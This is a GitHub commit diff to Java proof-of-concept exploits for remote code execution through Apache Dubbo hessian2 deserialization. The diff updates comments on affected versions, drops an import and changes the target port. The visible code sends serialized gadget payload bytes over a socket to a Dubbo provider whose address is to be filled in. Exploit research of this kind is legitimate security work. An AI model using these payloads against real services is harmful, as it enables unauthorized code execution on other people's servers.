Skip to content

Commit 050c693

Browse files
author
threedr3am
committed
feat:更新xbean poc说明
1 parent 4632e4b commit 050c693

File tree

3 files changed

+2
-10
lines changed

3 files changed

+2
-10
lines changed

dubbo/src/main/java/com/threedr3am/bug/dubbo/ResinPoc.java

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -21,8 +21,6 @@
2121
/**
2222
* dubbo 默认配置,即hessian2反序列化,都可RCE(dubbo版本<=2.7.5)
2323
*
24-
* Spring和Spring boot环境下都能打
25-
*
2624
* <dependency>
2725
* <groupId>com.caucho</groupId>
2826
* <artifactId>quercus</artifactId>

dubbo/src/main/java/com/threedr3am/bug/dubbo/RomePoc.java

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -20,9 +20,6 @@
2020
/**
2121
* dubbo 默认配置,即hessian2反序列化,都可RCE(dubbo版本<=2.7.5)
2222
*
23-
* Spring和Spring boot环境下都能打
24-
*
25-
*
2623
* <dependency>
2724
* <groupId>com.rometools</groupId>
2825
* <artifactId>rome</artifactId>

dubbo/src/main/java/com/threedr3am/bug/dubbo/XBeanPoc.java

Lines changed: 2 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -13,14 +13,11 @@
1313
import javax.naming.Context;
1414
import javax.naming.Reference;
1515
import org.apache.dubbo.common.io.Bytes;
16-
import org.apache.dubbo.common.serialize.Cleanable;
1716
import org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding;
1817
import org.apache.xbean.naming.context.WritableContext;
1918

2019
/**
21-
* dubbo 默认配置,即hessian2反序列化,都可RCE
22-
*
23-
* 需要dubbo环境版本<=2.6.3
20+
* dubbo 默认配置,即hessian2反序列化,都可RCE(dubbo版本<=2.7.5)
2421
*
2522
* <dependency>
2623
* <groupId>org.apache.xbean</groupId>
@@ -80,7 +77,7 @@ public static void main(String[] args) throws Exception {
8077
byte[] bytes = byteArrayOutputStream.toByteArray();
8178

8279
//todo 此处填写被攻击的dubbo服务提供者地址和端口
83-
Socket socket = new Socket("127.0.0.1", 20881);
80+
Socket socket = new Socket("127.0.0.1", 20880);
8481
OutputStream outputStream = socket.getOutputStream();
8582
outputStream.write(bytes);
8683
outputStream.flush();

0 commit comments

Comments
 (0)